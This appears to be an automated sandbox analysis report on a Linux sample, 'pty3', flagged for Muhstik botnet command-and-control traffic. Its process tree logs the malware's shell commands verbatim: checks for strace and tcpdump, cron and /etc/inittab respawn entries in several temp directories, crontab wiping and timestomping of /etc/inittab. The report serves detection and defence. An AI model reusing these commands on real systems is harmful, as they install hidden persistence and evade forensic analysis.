Analysis
-
max time kernel
0s -
max time network
102s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
submitted
25-04-2022 23:53
Static task
static1
Behavioral task
behavioral1
Sample
pty3
Resource
ubuntu1804-amd64-en-20211208
0 signatures
0 seconds
General
-
Target
pty3
-
Size
98KB
-
MD5
582a434ba0f2e04bd8b5495c50320068
-
SHA1
b3888d650646aa63423765e686a14ddc82ee52be
-
SHA256
7d3855bb09f2f6111d6c71e06e1e6b06dd47b1dade49af0235b220966c2f5be3
-
SHA512
5d4075888d1414f57edd832c6fb7151103af441eafebfdeb97be077bcfa504429f792c1fb23f18674aaf94ba1c6fa8d42e7c73a0d7f2d845f7d9faa605ac6fe4
Score
10/10
Malware Config
Signatures
-
suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity
suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity
-
Writes file to system bin folder 1 TTPs 3 IoCs
Processes:
description ioc /bin/crontab /bin/crontab /bin/nvram /bin/nvram /bin/uname /bin/uname -
Modifies rc script 1 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
Processes:
pty3description ioc process /etc/rc.local /etc/rc.local pty3 -
Write file to user bin folder 1 TTPs 2 IoCs
Processes:
description ioc /usr/bin/crontab /usr/bin/crontab /usr/sbin/nvram /usr/sbin/nvram -
Reads runtime system information 4 IoCs
Reads data from /proc virtual filesystem.
Processes:
cpcpcpcpdescription ioc process /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp -
Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
Processes:
pty3cpcpcpcpdescription ioc process /tmp/.bawtz /tmp/.bawtz pty3 /tmp/pty3 /tmp/pty3 cp /tmp/pty3 /tmp/pty3 cp /tmp/pty3 /tmp/pty3 cp /tmp/pty3 /tmp/pty3 cp
Processes
-
./pty3./pty31⤵
- Modifies rc script
- Writes file to tmp directory
PID:571
-
/bin/shsh -c "pidof -x strace > /dev/null"1⤵PID:572
-
/bin/pidofpidof -x strace2⤵PID:573
-
-
/bin/shsh -c "pidof -x tcpdump > /dev/null"1⤵PID:574
-
/bin/pidofpidof -x tcpdump2⤵PID:575
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/pty3\" > /etc/inittab2"1⤵PID:578
-
/bin/catcat /etc/inittab2⤵PID:580
-
-
/bin/grepgrep -v /tmp/pty32⤵PID:582
-
-
/bin/shsh -c "crontab -l | grep /tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty3 > /dev/null 2>&1 &\") | crontab -"1⤵PID:579
-
/usr/bin/crontabcrontab -l2⤵PID:583
-
-
/bin/grepgrep /tmp/pty32⤵PID:585
-
-
/bin/grepgrep -v "no cron"2⤵PID:587
-
-
/usr/bin/crontabcrontab -2⤵PID:591
-
-
/bin/shsh -c "crontab -r"1⤵PID:581
-
/usr/bin/crontabcrontab -r2⤵PID:584
-
-
/bin/shsh -c "echo \"0:2345:respawn:/tmp/pty3\" >> /etc/inittab2"1⤵PID:586
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:588
-
/bin/catcat /etc/inittab22⤵PID:589
-
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:592
-
/bin/rmrm -rf /etc/inittab22⤵PID:594
-
-
/usr/bin/crontabcrontab -l1⤵PID:593
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:595
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:596
-
-
/bin/shsh -c "/bin/uname -n"1⤵PID:604
-
/bin/uname/bin/uname -n2⤵PID:606
-
-
/bin/shsh -c "cp -f /tmp/pty3 /dev/shm/pty3"1⤵PID:605
-
/bin/cpcp -f /tmp/pty3 /dev/shm/pty32⤵
- Reads runtime system information
- Writes file to tmp directory
PID:607
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/pty3\" > /etc/inittab2"1⤵PID:609
-
/bin/catcat /etc/inittab2⤵PID:610
-
-
/bin/grepgrep -v /dev/shm/pty32⤵PID:612
-
-
/bin/shsh -c "crontab -l | grep /dev/shm/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty3 > /dev/null 2>&1 &\") | crontab -"1⤵PID:611
-
/usr/bin/crontabcrontab -l2⤵PID:613
-
-
/bin/grepgrep /dev/shm/pty32⤵PID:614
-
-
/bin/grepgrep -v "no cron"2⤵PID:616
-
-
/usr/bin/crontabcrontab -2⤵PID:620
-
-
/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/pty3\" >> /etc/inittab2"1⤵PID:615
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:617
-
/bin/catcat /etc/inittab22⤵PID:618
-
-
/usr/bin/crontabcrontab -l1⤵PID:621
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:622
-
/bin/rmrm -rf /etc/inittab22⤵PID:623
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:624
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:625
-
-
/bin/shsh -c "cp -f /tmp/pty3 /var/tmp/pty3"1⤵PID:626
-
/bin/cpcp -f /tmp/pty3 /var/tmp/pty32⤵
- Reads runtime system information
- Writes file to tmp directory
PID:627
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/pty3\" > /etc/inittab2"1⤵PID:629
-
/bin/catcat /etc/inittab2⤵PID:630
-
-
/bin/grepgrep -v /var/tmp/pty32⤵PID:632
-
-
/bin/shsh -c "crontab -l | grep /var/tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty3 > /dev/null 2>&1 &\") | crontab -"1⤵PID:631
-
/bin/grepgrep /var/tmp/pty32⤵PID:634
-
-
/usr/bin/crontabcrontab -l2⤵PID:633
-
-
/bin/grepgrep -v "no cron"2⤵PID:635
-
-
/usr/bin/crontabcrontab -2⤵PID:639
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/pty3\" >> /etc/inittab2"1⤵PID:636
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:638
-
/bin/catcat /etc/inittab22⤵PID:641
-
-
/usr/bin/crontabcrontab -l1⤵PID:640
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:642
-
/bin/rmrm -rf /etc/inittab22⤵PID:643
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:644
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:645
-
-
/bin/shsh -c "cp -f /tmp/pty3 /var/lock/pty3"1⤵PID:646
-
/bin/cpcp -f /tmp/pty3 /var/lock/pty32⤵
- Reads runtime system information
- Writes file to tmp directory
PID:647
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/pty3\" > /etc/inittab2"1⤵PID:649
-
/bin/catcat /etc/inittab2⤵PID:651
-
-
/bin/grepgrep -v /var/lock/pty32⤵PID:652
-
-
/bin/shsh -c "crontab -l | grep /var/lock/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty3 > /dev/null 2>&1 &\") | crontab -"1⤵PID:650
-
/usr/bin/crontabcrontab -l2⤵PID:653
-
-
/bin/grepgrep /var/lock/pty32⤵PID:654
-
-
/bin/grepgrep -v "no cron"2⤵PID:655
-
-
/usr/bin/crontabcrontab -2⤵PID:659
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/lock/pty3\" >> /etc/inittab2"1⤵PID:656
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:658
-
/bin/catcat /etc/inittab22⤵PID:661
-
-
/usr/bin/crontabcrontab -l1⤵PID:660
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:662
-
/bin/rmrm -rf /etc/inittab22⤵PID:663
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:664
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:665
-
-
/bin/shsh -c "cp -f /tmp/pty3 /var/run/pty3"1⤵PID:666
-
/bin/cpcp -f /tmp/pty3 /var/run/pty32⤵
- Reads runtime system information
- Writes file to tmp directory
PID:667
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/pty3\" > /etc/inittab2"1⤵PID:669
-
/bin/grepgrep -v /var/run/pty32⤵PID:672
-
-
/bin/catcat /etc/inittab2⤵PID:671
-
-
/bin/shsh -c "crontab -l | grep /var/run/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty3 > /dev/null 2>&1 &\") | crontab -"1⤵PID:670
-
/usr/bin/crontabcrontab -l2⤵PID:673
-
-
/bin/grepgrep /var/run/pty32⤵PID:675
-
-
/bin/grepgrep -v "no cron"2⤵PID:676
-
-
/usr/bin/crontabcrontab -2⤵PID:680
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/run/pty3\" >> /etc/inittab2"1⤵PID:674
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:677
-
/bin/catcat /etc/inittab22⤵PID:678
-
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:681
-
/bin/rmrm -rf /etc/inittab22⤵PID:683
-
-
/usr/bin/crontabcrontab -l1⤵PID:682
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:684
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:685
-